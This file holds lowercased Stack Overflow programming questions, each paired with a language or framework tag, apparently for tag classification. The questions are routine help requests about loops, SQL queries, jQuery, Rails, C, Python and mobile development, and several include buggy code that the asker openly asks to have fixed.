test block  which will consist of a number of test streets  each test street will have its own properties. then for each test street there will be a number of duts which will then have its own properties. question is whether the above codes is correct. if it is correct then how do i actually instantiate it so that i can populate it with some data  i have looked at a lot of examples but those are just simply creating a list  where my case is more complicated that i need to create a list of test streets  and for each test street i need to create a list of duts. thank you in advance.,c#
cant use getline when writing to a file   i am trying to write a string set by the cin command to a file. i have it working  but it is not writing all of the string; just everything ebfore the first white space. so someone suggested i use:   <pre><code>write_test &lt;&lt; getline( text   cin ); </code></pre>   to make it accept white spaces  but as the title says i cant use getline     all code:   <pre><code>string text;         cout &lt;&lt;  write something:  ;         cin &gt;&gt; text;         if (text !=   )         {                        ifstream write_test( write_test.txt );//creating the file                    //write_test &lt;&lt; text;       //write a message to the file.             write_test &lt;&lt; getline( text   cin );             write_test.close();                 //close the stream  meaning the file will be saved.                  cout &lt;&lt;  done! ;         } </code></pre>   thanks for any help!,c++
retrieving names of people who performed a specific action and personalising the message  i have an actions table that records the actions taken by the users:   <pre><code>actionid  userid </code></pre>   the <strong>actions</strong> table holds the name and other details about the action  and <strong>users</strong> table similarly holds the name and details about the users.    now  in my application  i want to inform a user about the actions his friends have taken  something like:   <blockquote>     person a  person b  person c have   taken this action.   </blockquote>   to do that  i am currently using group_concat() to concat the names of the people like:   <pre><code>select group_concat(name) from users left join actions on users.userid = actions.userid where actionid =  123  </code></pre>   <strong>however</strong>  i want to personalise this message in two ways.   <ol> <li> i want a  ...  and   before the last user  so it sounds more natural than a machine generated list. </li> <li> in cases where the user is also one of the people who have taken this action  i want to display a message like: </li> </ol>  <blockquote>     person a  person b  person c and <strong>you</strong>   have taken this action.   </blockquote>   what s the most elegant way to achieve this  i am looking for a solution which is efficient enough for a large scale system.,sql
generate unique sequential id  how do i generate a unique sequential id (that follows a pattern)  each time a record is created  how do i address concurrency issues     i want this id to follow a fixed pattern. e.g.: abc00001  abc00002  abc00003  etc    i am doing this to generate student ids  and i want student ids within an institute to to be sequential. there will be multiple institutes using my tool.,ruby-on-rails
line break <br> doesn t work  i am writing an web application. i have two pages in my application. in my first page when the user entered something invalid in the text box  it will display some message like this.   <pre><code>*employeeid is invalid. *employeeid is already exist. *invalid format </code></pre>   and here is my code    <pre><code>if (some condition occur){     errmsg =  *employeeid is invalid. &lt;br&gt; ;     errmsg +=  *employeeid is already exist. &lt;br&gt; ;     errmsg +=  *invalid format. &lt;br&gt; ; } </code></pre>   my first page work fine  it displayed the errmsg correctly. however  when it redirect to the other page where user can edit the existing employee s information  it does not work.     this is my code in employee_edited.aspx   <pre><code> if(some condition occur){         errmsg =  *employeeid is invalid. &lt;br&gt; ;         errmsg +=  *employeeid is already exist. &lt;br&gt; ;         errmsg +=  *invalid format. &lt;br&gt; ;     } </code></pre>   it displayed something like this    <pre><code>*employeeid is invalid.&lt;br&gt;*employeeid is already exist.&lt;br&gt;*invalid format. &lt;br&gt; </code></pre>   why does this happen  help will be appreciated,c#
jquery how to use index() and text() together   i m wanting to get an index of an a tag with specific text.  so if i have 10 links with click me as text  if i click on second one  i want to have 2.      <a href= http://jsfiddle.net/xq3ct/  rel= nofollow >jsfiddle</a>   <pre><code>$(document).ready( function() {   $( a ).click(function () {       if ($(this).text() !=   ){             var index = $( a ).text().index(this);             alert (index + 1);       }   }); }); </code></pre>   example html code   <pre><code>&lt;a href= # &gt;click me&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  &lt;a href= # &gt;different&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  &lt;a href= # &gt;click me&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  &lt;div&gt; &lt;a href= # &gt;click me&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;     &lt;div&gt;     &lt;a href= # &gt;click me&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;     &lt;a href= # &gt;different&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;     &lt;/div&gt; &lt;/div&gt;  &lt;ul&gt;     &lt;li&gt;&lt;a href= # &gt;click me&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;click me&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;click me&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;click me&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;a href= # &gt;different&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; </code></pre>,jquery
where is this singleton saving its information   i am looking at the code presented in this so answer  <a href= https://stackoverflow.com/a/4243338/223742 >https://stackoverflow.com/a/4243338/223742</a>.    the code works exactly as advertised but what i don t understand is how the singleton is storing its static members across requests e.g:   <pre><code>private static string host = null; </code></pre>   is it by virtue of the fact that the firstrequestinitialisation class is static that it is saving it in the storage for the app,asp.net
how do i make a listbox refresh the text   i ve read this solution: <a href= https://stackoverflow.com/questions/61421/how-do-i-make-a-listbox-refresh-its-item-text >how do i make a listbox refresh its item text </a>     but i m still having no luck getting the text displayed in the listbox to update when the object s property changes.    <pre><code>public partial class form1 : form {     public bindinglist&lt;channel&gt; chanlist = new bindinglist&lt;channel&gt;();      private void form1_load(object sender  eventargs e)     {         lbchannels.displaymember =  display ;         lbchannels.datasource = chanlist;     }  }    public class channel {     public string display     {         get         {             return tostring();         }     }      public override string tostring()     {         if(!unread || datetime.now.second % 2 == 0)             return name;         return   ;     } } </code></pre>   the goal here is to cause the channel name to blink in the listbox if there s unread data in it  but when i test it nothing happens. i ve also tried calling lbchannels.refresh() and lbchannels.update().    i must be missing something but i can t figure out what. the solution in the other thread seems almost too simple to be true  but i ve looked through it several times and i can t find anything else related to the listbox. what am i missing here,c#
iphone sdk - close app and/or go to sleep  i am using the following code to call some save methods when my app is either closed or the iphone goes to sleep. i m just checking they are both ok and correct to use this way     <pre><code>- (void)applicationwillresignactive:(uiapplication *)application {     [self savestate]; }  - (void)applicationwillterminate:(uiapplication *)application {     [self savestate]; } </code></pre>   the savestate function simply sets a few nsuserdefaults...    thanks for any info!,iphone
sql query that has unconventional calculated column  for some reason my brain can t comprehend this. i have a  record  table that has columns: id  name  genre  date    i want to do a query that will return every record in the table  but also another column that has the sum of all the records with the same genre and day (of date) and channel (within .0005) as the current record. hopefully that makes sense. i will try to illustrate:      table: <code>record</code>   <pre><code>id        name        genre       date          channel             1         scott       rock        2014-01-21    30.0345 2         jim         rap         2014-01-21    55 3         dave        country     2014-01-22    23 4         tim         rock        2014-01-22    25 5         dave        rock        2014-01-21    34.0350 6         john        rock        2014-03-24    23 7         stan        rap         2013-09-16    14 8         jake        country     2014-01-21    30 9         mike        country     2014-01-22    22.9995 10        jodi        country     2015-01-22    23.0006 11        jodi        country     2015-01-22    23.0004 </code></pre>   this is what i want my query to return:    <pre><code>id        name        genre       date        channel  same_day_count 1         scott       rock        2014-01-21  30.0345  2  2         jim         rap         2014-01-21  55       1  3         dave        country     2014-01-22  23       3  4         tim         rock        2014-01-22  25       1  5         dave        rock        2014-01-21  30.0350  2  6         john        rock        2014-03-24  23       1  7         stan        rap         2013-01-21  14       1  8         jake        country     2014-01-21  30       1  9         mike        country     2014-01-22  22.9995  3  10        jodi        country     2015-01-22  23.0006  1  11        jodi        country     2015-01-22  23.0004  3 </code></pre>   please help: this is probably super easy for a sql expert. remember the entire timestamp doesn t need to match  i.e. the hour:minute:second. it just needs to be the same yyyy-mm-dd     actually after reviewing this. i think that same_day column is ambiguous. however  the channels are going to differ and be unique enough that i believe it will give accurate results as long as it is actually possible to do this in sql,sql
how to check a number is out of the range of integer type   how to check a number is out of the range of integer     if the number is greater than <code>integer.max_value</code>  return <code>integer.max_value</code>    if the number is less than <code>integer.min_value</code>  return <code>integer.min_value</code>    ex: 2000000000000 -> <code>integer.max_value</code>    this is my solution  but it seems very inefficient.   <pre><code>if(str.length() &gt;= 10) {     if(str.charat(0) !=  - ) {         return integer.max_value;     } else if(str.length() &gt;= 11 &amp;&amp; str.charat(0) ==  - ) {         return integer.min_value;     } } </code></pre>,java
i am not getting desired output for a c program  i am doing a c program but the sample input is not giving the sample output if i use the. i think my program is not calling the function. i guess i have declared it incorrectly. or my logic is wrong. what i am getting is a zero as output. the question is given below.    <b>write</b> a c function to find the kth occurrence of an integer n in a sequence of non-negative integers  and then call your function from main.     your function should be according to the following declaration:   <pre><code>int find(int n  int k); </code></pre>  <h2>input</h2>   you are given the input in two lines:    the first line contains a non-negative integer  say n  and a positive integer k  in that order. you have to find the kth occurrence of n in the sequence below.    the second line consists of a sequence of non-negative integers  terminated with a -1.  the -1 is not part of the sequence.   <h2>output</h2>   if n occurs k times in the sequence  then output the index of the kth occurrence of n in the sequence.    if n does not occur k times in the sequence  then output -1.    (for example  the second occurrence of the integer 3 in the sequence  1 1 3 2 3 -1 is at position 4 in the sequence. the first index in the sequence is 0.)    input:   <pre><code>3 2 1 1 2 3 3 -1 </code></pre>   output:   <pre><code>4 </code></pre>   code:   <pre><code>#include&lt;stdio.h&gt;  int check(int a int n  int k ){   int f;    int value;    int counter=0;     counter++;    if (a==n)   {     f++;   }   if(f==k)   {     value= counter;   }  return value; }  int main(void) {   int n   k a;    int tempo;    scanf( %d  &amp;n);   scanf( %d  &amp;k);   while(a!=-1)   {     scanf( %d  &amp;a);      tempo=check(a n k);    }   printf( %d  tempo);          return 0;          }  </code></pre>,c
find rows with empty columns without mentioning column name  i want to find the rows from my db tables which has empty columns.<br> suppose my table has 10 columns and 100 rows  any of the 10 columns could be null/empty.      so i can t use where command    eg:    <pre><code>select * from customer where revenue is null or id is null or income is null   ....(this goes on till 10 columns) </code></pre>   how can i write this query to select rows which has got empty/null values (in any column).,mysql
how to control the permission-related user interface in the asp.net   i am new in developing using asp.net.    i use java(struts2) to do the web application before it is easy to control this use the jsp tag or struts2 tags: for example(suppose the  do something  operation need use login):   <pre><code>&lt;s:if test= #session.user!=null &gt;     &lt;span&gt;do something&lt;/span&gt; &lt;/s:if&gt; </code></pre>   so if a user did not login he will never see the menu of  do something .    now i wonder how to make it in the asp.net     is this controled in the xx.aspx.cs     thanks.,asp.net
essential tools for .net programmer   this question looks familiar with this: <a href= https://stackoverflow.com/questions/2187/essential-programming-tools >https://stackoverflow.com/questions/2187/essential-programming-tools</a>  but i want to focus on .net programming. beyond windows and visual studio  which tools are your daily-need to get your job done  free  open-source code tools are preferred :)     i ve been using these tools:   <ul> <li>resharper - top of its class  but not free</li> <li>nunit - trying to get used with it.</li> <li>visualsvn + tortoisesvn</li> </ul>   which other tools i should know and use,.net
filter records based on date in rails  i am trying to filer records based on date from <code>created_at</code>.    for this i am passing <code>from_date</code> and <code>to_date</code> from date-picker in date format (e.g. <code> %y/%m/%d </code>).    please help me with how to write query in the controller to fetch the records between dates.   <pre><code>@users = user.where([ created_at =   and created_at =    from_date to_date]) </code></pre>   thanks.,ruby-on-rails
designated initializers and omitted elements  can anybody please explain the following line about the designated initializers:   <blockquote>    the initializer list can omit elements that are declared anywhere in the aggregate  rather than only at the end.  </blockquote>,c
python - can t convert  int object to str implicitly  i am trying to make a program to add voting data to a file.    code:   <pre><code>#test import random f = open( yob1963.txt   a ) #opens yob1936 code1 = random.randint(111111  999999) code2 = random.randint(11111111  99999999) num = random.randint(1  6) if num ==  1 :     party =  ukip  if num ==  2 :     party =  labour  if num ==  3 :     party =  conservatives  if num ==  4 :     party =  liberal democrats  if num ==  5 :     party =  monster raving loony party  if num ==  6 :     party =  anonnymous  if input( type nochange if you have no changes to make to your household or enter if you do:    ) == ( nochange ):     #nochange exit ------------------------------------     print( thankyou for using vote information updater )  else:     name = input( please enter you name )     print( ok   + str(name) +  your codes are   + int(code1) +      + int(code2) +   and your party is   + str(party))     f.write(name        code1        code2        party)     f.close() </code></pre>   i am getting the error:   <pre><code>traceback (most recent call last):   file  c:/users/alex/skydrive/school/l5/computing/random vote/random_vote.py   line 24  in &lt;module&gt;     print( ok   + str(name) +  your codes are   + int(code1) +      + int(code2) +   and your party is   + str(party)) typeerror: can t convert  int  object to str implicitly </code></pre>   i have tried changing around str(code1) int(code1) ect but to no solution.    please help,python
java simplify the syntax  what would be the most terse way in java to check for the following condition     <pre><code>int m  n; </code></pre>   the condition to check is whether either m or n are negative but both shouldn t be negative. i m looking for a terse yet simple syntax,java
sql - how to search where but ignore first two characters  i need to perform a date search but the data is a string with the format     dd/mm/yyyy     i want to search only for  mm/yyyy     for example i want all records that have  07/2014  regardless of what day     i m sure its something simple just can t figure it out    <strong>edit</strong>:  it looks like the format is mm/dd/yyy looks like i got this sorted just used:   <pre><code>right(bookeddate 5) =  /2014  and left (bookeddate 2) =  7/  </code></pre>   thanks all :),sql
entity framework in vs2013  iam trying to create a web form in vs 2013 and linking with 2 tables by ado.net entity model.but i did not get any classes in designer.cs file.i got some comment lines instead of that.how can i get code in vs 2013,asp.net
how to add suggestions from a list of words in a bootstrap search box  i have used a search box in my code.   <pre><code> &lt;form action= /search  method= post  role= form &gt;  &lt;div id= custom-search-input  style= height:41px &gt;  &lt;div class= input-group col-md-12  style= height:10px &gt;  &lt;input id= search  name= search  type= text  class= form-control input-lg                     placeholder= search   style= font-size:14px;height:30px /&gt;  &lt;span class= input-group-btn &gt;      &lt;button class= btn btn-info btn-lg  type= submit &gt;    &lt;i class= glyphicon glyphicon-search  style= text-decoration:none &gt;&lt;/i&gt;         &lt;/button&gt;          &lt;/span&gt;          &lt;/div&gt;   &lt;div&gt;&lt;label id= noresult &gt;&lt;i&gt;no results found&lt;/i&gt;&lt;/label&gt;   &lt;/div&gt;    &lt;/div&gt;    &lt;/form&gt; </code></pre>   now i want to add auto suggestions to this search box like if you write  a  it starts showing everything starting with  a  just like google.those suggestions can be loaded from a list which contains every possible result that can be searched.    please help me about how to add this feature.,html
i want to get count of id with multiple conditions <pre><code>select (select statename from state where stateid = cpownerstate) as cpownerstate         count(cpownerid)    from cpownerdetail   where cpownerhashcode=0   group by cpownerstate;  select (select statename from state where stateid = cpownerstate) as cpownerstate         count(cpownerid)    from cpownerdetail  where cpownerhashcode!=0  group by cpownerstate; </code></pre>   this is correct query but i want it in single query how it is possible    <strong>sample table</strong>:      <a href= https://i.stack.imgur.com/chabk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/chabk.png  alt= enter image description here ></a>,mysql
display multiplication table in textview  i am trying to generate a multiplication table where the 1st edittext takes the actual number while 2nd edittext takes the actual range of multiplication table. when i run the project   the result is only number <strong>* range..</strong> can anyone help me in the loop or code below mentioned or any alternatives to display the table in <code>gridlayout</code> or <code>tablelayout</code> rather than <code>textview</code>.   <pre><code>protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_multiplication_table);     number = (edittext)findviewbyid(r.id.numbertable);     range = (edittext)findviewbyid(r.id.numberrange);     click = (button)findviewbyid(r.id.click);     result = (textview)findviewbyid(r.id.display);     final string x = range.gettext().tostring();     click.setonclicklistener(new view.onclicklistener() {          @override         public void onclick(view view) {           int   a = integer.parseint(number.gettext().tostring());           int   b = integer.parseint(range.gettext().tostring());                 for(int i = 1 ; i &lt;= 10; i++)             {                 for(int j = 1 ; j &lt;= 10; j++)                 {                     int res = a * b;                             result. settext(a +  *   + b +   =   + res);                  }                  }             return;         }     });  } } </code></pre>,android
what is the formula of increasing the brightness of a bitmap   what is the formula of increasing the brightness of a bitmap  i m working in mfc,c++
localhost 3000 not working  hi i m learning ruby on rails but all of a sudden localhost/3000 is not working  it was working fine moments ago. i m using windows 8 and my ruby version is 2.2.4 and rails version is 4.2.6    rails server is running but localhost/300 is not loading in browser. help please. <a href= http://i.stack.imgur.com/is8k8.png  rel= nofollow >rails server</a> <a href= http://i.stack.imgur.com/ndbca.png  rel= nofollow >browser</a>,ruby-on-rails
angularjs limiting table size doesn t work  i have a table and i am trying to limit the size of that table to 5. here is what i have so far.   <pre><code> &lt;tr ng-repeat= (key value) in cla|limitto:5 &gt;      &lt;td class= mdl-data-table__cell--non-numeric &gt;{{ key}}&lt;/td&gt;      &lt;td class= mdl-data-table__cell--non-numeric &gt;{{ value | number:2}}&lt;/td&gt;                           &lt;/tr&gt; </code></pre>   and this workss....   <pre><code>&lt;tr ng-repeat= prof in profstats | limitto:3   ng-click= selectedprof(key) &gt;     &lt;td class= mdl-data-table__cell--non-numeric &gt;{{ prof.name}}&lt;/td&gt;     &lt;td class= mdl-data-table__cell--non-numeric &gt;{{ prof.avggrade}}&lt;/td&gt; &lt;/tr&gt; </code></pre>   does this issue have to do with key  value maybe,angularjs
loop through text file for first number on each line  the code below works for the first word on each line  but how do i get the first number on each line   please keep in mind that the number can be 1 digit or it can be 20 digits long   <pre><code>&lt; php     $file = new splfileobject( /tmp/test.txt    r );     $data = array();     while(! $file-&gt;eof()) {          $data[] = array_shift(($file-&gt;fgetcsv( | )));     }     echo implode(     $data);  &gt; </code></pre>,php
is there any c# class which can be use to retrieve total number of hard disk partitions or other information    i need to retrieve hdd related information like total number of partitions in which driver os is installed etc. programmatically in c#.any one here to help,c#
practical use of byte data type in java  besides the fact that bytes saves memory by consuming only eight bits of storage as against <em>32bits</em> for <code>integer</code>. what other practical uses does it serve  i read in a text that it is useful when we are working with stream of data from a network or a file. they are also useful when you re working with raw binary data that may not be directly compatible with java s other built-in types. could any one explain these with examples  and state a few more practical uses,java
get a specific word of of the sentence  h ow can i get 123 out of ::123:: in a sentence then store it in a variable.    for example :   <pre><code>hi i am john ::123::. </code></pre>   it will look for :::: tags and get 123 from the it and strip off other words in the sentence. the results would be <code>123</code>    i am not sure but is this able to work    <pre><code>$(document).ready(function(){     var store = $( .div ).find(/::([^:]+)::/g);     alert(store); }); </code></pre>   how can i do this using jquery,jquery
getting thread number in multicore programming using c++  how to get the thread number executing the loop in openmp (openmp.h)     i m trying to get the thread no so to optimise the flow of program.,c++
mysql not null field on insert  this is my query:    <pre><code>insert into tabla (campo1 campo2 campo3) values ( $campo1   $campo2   $campo3 ) </code></pre>   since  tabla  has many more columns and some of them are not null and neither have a default value  i m getting the mysql message:  fiel  column4  doesn t have a default value .    i m running that on my local server  tried it out at online server and it does insert the row with no issues.    does anyone knows if this has to do with some sort of configuration of the mysql.ini file or something like that  there are too many columns like that on my db  so changing columns to  null  or set them a default value would take a lot of time. i think it could be fixed as it works perfect on the server.    thanks.    <b>update:</b>    it is the sql mode. i queried <code>select @@global.sql_mode;</code>    my local server returned: <code>strict_trans_tables no_auto_create_user no_engine_substitution</code><br> the remote server returned an empty row.    where can i change that setting on my localhost,mysql
why is memberwiseclone defined in system.object protected   i m wondering why memberwiseclone is defined as protected. this means that only derived types can access it. what is the problem if it was defined as public,.net
prevent focus to url bar with ctrl + l  i m working on a terminal-like modal  using bootstrap s and i want to clear it when the user presses <kbd>ctrl</kbd>+<kbd>l</kbd> like it does when he writes <code>clear</code> in it.<br/> but the problem is  when i press <kbd>ctrl</kbd>+<kbd>l</kbd>  it focuses the url bar  and i don t have anymore focus on my page.<br> in this part  alert is showing  but it still focuses url bar after :   <pre><code>if(event.key ==  l  &amp;&amp; event.ctrlkey)     alert( clear it ); </code></pre>   i have tried several things like focusing my terminal after a sec  or things like that. but nothing worked.<br> have you got any ideas   thanks you !,javascript
need help making sense of these for loop outputs <pre><code>int i  a[7] = {-6  -4  -2  0  2  4  6}; for (i = 0; i &lt; 4 || a[i]; i++)     putchar( * ); </code></pre>   this loop doesn t make sense to me because it prints out 8 * s. it s for c.     so from what i understand:   <ul> <li><code>0 &lt; 4 || -6</code> ⟶ <code>*</code></li> <li><code>1 &lt; 4 || -4</code> ⟶ <code>*</code></li> <li><code>2 &lt; 4 || -2</code> ⟶ <code>*</code></li> <li><code>3 &lt; 4 || 0</code> ⟶ <code>*</code></li> <li><code>4 &lt; 4 || 2</code> ⟶ <code>*</code></li> <li><code>5 &lt; 4 || 4</code> ⟶ <code>*</code></li> <li><code>6 &lt; 4 || 6</code> ⟶ <code>*</code></li> </ul>   so that s 7 stars so far...after this is it doing   <ul> <li><code>7 &lt; 4 ||  \0 </code> ⟶ <code>*</code> </li> </ul>   this is a similar question that prints out 5 stars:   <pre><code>int i  a[2] = {-6  -4}; for (i = 0; i &lt; 4 || a[i]; i++)     putchar( * ); </code></pre>   again i don t understand what it s doing on the last time around.    when it gets to <code>4 &lt; 4 ||  </code>  shouldn t it break,c
facebook login using facebook sdk  i used this concept to login.   <pre><code>-(void)loginbuttontapped {      nsarray *permissions = [[nsarray alloc]initwithobjects:@ friends_email  @ user_birthday  @ user_hometown  @ user_location  @ friends_birthday  @ friends_location  @ friends_hometown   nil];      [[delegate facebook]authorize:permissions];      [fbsession.activesession openwithcompletionhandler:^(fbsession *session                                                           fbsessionstate state                                                      nserror *error)      {          nslog(@ success );          // [signinbutton sethidden:yes];            }       }];       [permissions release]; } </code></pre>   but suppose if i close the login window without login then it does not display login window again.    it showed this error.   <pre><code>*** terminating app due to uncaught exception  com.facebook.sdk:invalidoperationexception   reason:  fbsession: an attempt was made to open an already opened or closed session  </code></pre>   any idea please help me.,ios
recursive function in python adding odd values in list  my task is to create a recursive function in python that takes a list and a value of 0 as its inputs and then adds up all of the odd numbers on the list and returns that value. below is the code that i have and it keeps returning that the list index is out of range. no matter what i do i can not get it to work.   <pre><code>def addodds2(x y):     total=0     a=x[y]     while y&lt;len(x):         if a%2!=0:             total+=a             return(addodds2(x y+1))         else:             return(addodds2(x y+1))     return(total) print(addodds2([3 2 4 7 2 4 1 3 2] 0)) </code></pre>,python
uncaught typeerror: $(...).shieldchart is not a function  showing error <code>uncaught typeerror: $(...).shieldchart is not a function</code> in this code     no idea whats wrong with the code.   <pre><code>$( #shieldui-chart1 ).shieldchart({     theme:  dark       primaryheader: {         text:  visitors      }      exportoptions: {         image: false          print: false     }      dataseries: [{         seriestype:  area           collectionalias:  q data           data: performance     }] }); </code></pre>,jquery
can t get an int to update outside of the while loop  when it runs the winnings or losses are taken or added from the bank and then it is run again the bank is set back to a 25$ bank not the updated bank   <pre><code>int main() { srand(time(0)); int bank = 25; int total;  char answer;  cout &lt;&lt;  come play spin the wheel. the wheel has numbers from 1-10.  &lt;&lt;  endl     &lt;&lt;  if you spin an even number you lose that amount. if you spin  &lt;&lt; endl     &lt;&lt;  an odd number you win that amount. you start with a 25$ bank.  &lt;&lt; endl;  cout &lt;&lt;  your bank is $  &lt;&lt; bank &lt;&lt;  . would you like to spin the wheel  (y/n):  &lt;&lt; endl; cin &gt;&gt; answer;  while (toupper(answer) ==  y ) {     int num = rand() % 10 + 1;      if (bank &lt;= 10)     {         cout &lt;&lt;  sorry you must have more than 10$ to play  &lt;&lt; endl;     } else if (num % 2 == 0 )     {     total = bank + num;         cout &lt;&lt;  you spun a   &lt;&lt; num &lt;&lt;   and won $  &lt;&lt; num &lt;&lt; endl;         cout &lt;&lt;  your bank is now: $  &lt;&lt; total &lt;&lt; endl;     }      else      {         total = bank - num;         cout &lt;&lt;  you spun a   &lt;&lt; num &lt;&lt;   and lost $  &lt;&lt; num &lt;&lt; endl;         cout &lt;&lt;  your bank is now: $  &lt;&lt; total &lt;&lt; endl;     }     cout &lt;&lt;  would you like to play again (y/n)    &lt;&lt; endl;     cin &gt;&gt; answer; }      return 0; } </code></pre>   when it runs the winnings or losses are taken or added from the bank and then it is run again the bank is set back to a 25$ bank not the updated bank,c++
can i deploy to ios devices with macos sierra   i ve always had windows and i just bought a mac to upload games to the app store for ios phones. i have read that i have to have an os x mac  but my mac is macos sierra. did i just waste $2k on a mac,ios
exit my blackjack game  need some help exiting this game... it almost works the way i want it to  but if the player chooses  stay  as an option  while the house also chooses the option to  stay   then the game is just in an endless loop of staying until the user hits. i want the game to go to the  <code>end_game(house_cards  new_player_hand)</code> function if the house and player decide to both stay at the same time. also  if you see any other stupid errors or total inefficiencies in this program please tell me! also sorry for the lack of readability... i need to add some comments!   <pre><code>import random import numpy as np def start_game():     while true:         choice = raw_input( do you want to play black jack  y/n \n ).lower()         if choice ==  y :             shuffle(cards)             deal(cards)             player_turn(player_hand  cards)         elif choice ==  n :             exit()         else:             print  please choose y or n  def shuffle(cards):     cards = [x for x in cards for y in range(4)]     return cards   def player_turn(player_hand  cards):     choice_1 = raw_input( would you like to hit  fold  or stay \n ).lower()     if choice_1 ==  hit :         hit(player_hand cards)     elif choice_1 ==  fold :         print  lame... you lose!          start_game()     elif choice_1 ==  stay :         house_ai(house_hand  cards)     else:         print  please choose to hit  fold  or stay\n      return player_hand  cards  def hit(player_hand  cards):      global new_player_hand     rand_card = random.choice(cards)     player_hand.append(rand_card)     new_player_hand = player_hand     print new_player_hand     if np.sum(new_player_hand) &gt; 21:         print  you went over 21!      elif np.sum(player_hand) &lt; 21:         choice_3 = raw_input( would you like to hit or stay \n ).lower()         if choice_3 ==  hit :             hit(new_player_hand  cards)         elif choice_3 ==  stay :             print  okay house turn!              house_ai(house_hand  cards)         else:             print  choose hit or stay      elif np.sum(new_player_hand) == 21:         print  you win!      return player_hand  cards   new_player_hand   def house_ai(house_hand  cards):     global house_cards     house_cards = np.sum(house_hand)     if house_cards == 17: #house stays         print  house stays.              player_turn(player_hand  cards)     elif house_cards &gt; 17 and house_cards &lt;21:         print  house stays.          player_turn(player_hand  cards)     elif house_cards &lt; 17:         print  house hits.          house_less(house_hand  house_cards  cards)       return house_hand  house_cards  cards  def house_less(house_hand  house_cards  cards):     if np.sum(house_hand) &lt; 17:         new_card = random.sample(set(cards)  1)         print  the house hits.          house_hand.extend(new_card)         print house_hand         house_less(house_hand  house_cards  cards)     elif np.sum(house_hand) &gt; 21:         print  the house hits.          house_greater(house_cards)     elif np.sum(house_hand) == 17:         player_turn(player_hand  cards)     elif np.sum(house_hand) &gt; 17 and house_cards &lt; 21:         player_turn(player_hand  cards)     elif np.sum(house_hand) == 21:         house_wins(house_cards)     return house_hand  house_cards  cards  def house_greater(house_cards):     print  you win! the house went over 21!      return house_cards  def end_game(house_cards  new_player_hand):     if new_player_hand &gt; house_cards:         print  you win! you have higher cards than the house      elif new_player_hand &lt; house_cards:         print  you lose! house has higgher cards      else:         assert false  def house_wins(house_cards):     if house_cards == 21:         print house_hand         print   sorry the house wins!      return house_cards   def deal(cards):     global player_hand     global house_hand     player_hand = random.sample(set(cards) 2)     house_hand = random.sample(set(cards) 2)     print  here are your cards!   player_hand       return player_hand     return house_hand cards = [1  2  3  4  5  6  7  8  9  10   10  10  10]  start_game()     </code></pre>   thanks for any responses guys!,python
content provider in android basic questions  i am having trouble understanding content providers in android.    do you use intents to call content providers as well as managed queries     also  an activity has an intent filter.  the intent filter has a  element which has a  mimetype attribute.  how does android know which content provider this mimetype is referring to <br> the  tag in the manifest just lists an authority but not the full content_uri.  further  the content_uri is typically defined in an encapsulated class that seems to only consist of constants but no methods  so i don t see how that links over to the content provider class.    thanks,android
numbers in an array add to a specific number java  what is the most efficient way to check if any numbers in an array sum up to specific number for example: an array of (5 3 3 9 4) i want to know if any of these numbers in the array can be added to give 10 this will happen when i add (3 3 4),java
rails not using correct controller method  i got a view  with the following code:   <pre><code>&lt;%= form_for(@stock :url=&gt;{:action=&gt; buyback } :html=&gt;{:class=&gt; form-horizontal }) do |f| %&gt; </code></pre>   my routes.rb file shows:   <pre><code>post  /stocks/buyback  </code></pre>   when i click the submit button of the form  it does not trigger the method buyback of the controller but instead update.    the log file shows:   <pre><code>started put  /stocks/buyback  for 127.0.0.1 at 2012-07-22 19:46:07 +0800 processing by stockscontroller#update as html </code></pre>   its triggering the controller method update instead of buyback. why,ruby-on-rails
why does not call default constructor in main class   consider this code:    <pre><code>class program {     static void main(string[] args)     {     }         public program()     {        dosomthing();     } } </code></pre>   the constructor does not call. why   why constructor should call  who create instance from the class,c#
php check to see if email address exists   i m attempting to check if an exists but <code>false</code> is always returned even though my email address exists.   <pre><code>function emailvalidation($email)  {      $email = htmlspecialchars(stripslashes(strip_tags($email))); //parse unnecessary characters to prevent exploits      if (filter_var($email  filter_validate_email))      { //checks to make sure the email address is in a valid format     $domain = explode(  @   $email ); //get the domain name         if ( @fsockopen ($email 80 $errno $errstr 3))          {             //if the connection can be established  the email address is probably valid             return  yes ;         } else          {             return  no ; //if a connection cannot be established return false         }     //return  not valid ; //if email address is an invalid format return false   } }   $ve = emailvalidation( myemail@gmail.com );  print_r($ve); </code></pre>   i have 500k emails  i ve been given the task to find out  which emails exist and which don t.  i don t want to send an email but check if the email is exist.  how do i solve,php
how to get fingerprint value of audio file in iphone   if i record audio in noisy background and then compare recorded audio file with local saved audio file to check both are same song are not    in iphone    how shazam and sound hound app works to generate fingerprint of recorded audio in iphone      can anyone explore knowledge on algorithm to generate fingerprint from audio file in ios.    thanks,ios
calling multiple functions with names matching regex  i have some functions like these:   <ul> <li><code>function name_a(){}</code></li> <li><code>function name_b(){}</code></li> <li><code>function name_x(){}</code></li> <li><code>function name_n(){}</code></li> </ul>   i want to call all functions start with <strong><code>name_</code></strong> with regex in javascript.    how can i do that,javascript
assinging text and value to select in jquery  i have two <strong>td</strong>. in each td is a <strong>select</strong> with n <strong>options</strong>. i want to assign different text and a value to each first option from select.    this is what i tried:    <pre><code>&lt;script type= text/javascript  charset= utf-8 &gt;     $( document ).ready(function() {          var c = 1;         $( td select ).each(function(){             if (c == 1){                 console.log(this);                 $(this +   option:nth-child(1) ).val( -1 );                 $(this +   option:nth-child(1) ).text( choose role );             }else if(c == 2){                 $(this +   option:nth-child(1) ).val( -1 );                 $(this +   option:nth-child(1) ).text( choose status );             }             c++;         });     }); &lt;/script&gt; </code></pre>   it doesn t do anything. what am i missing,jquery
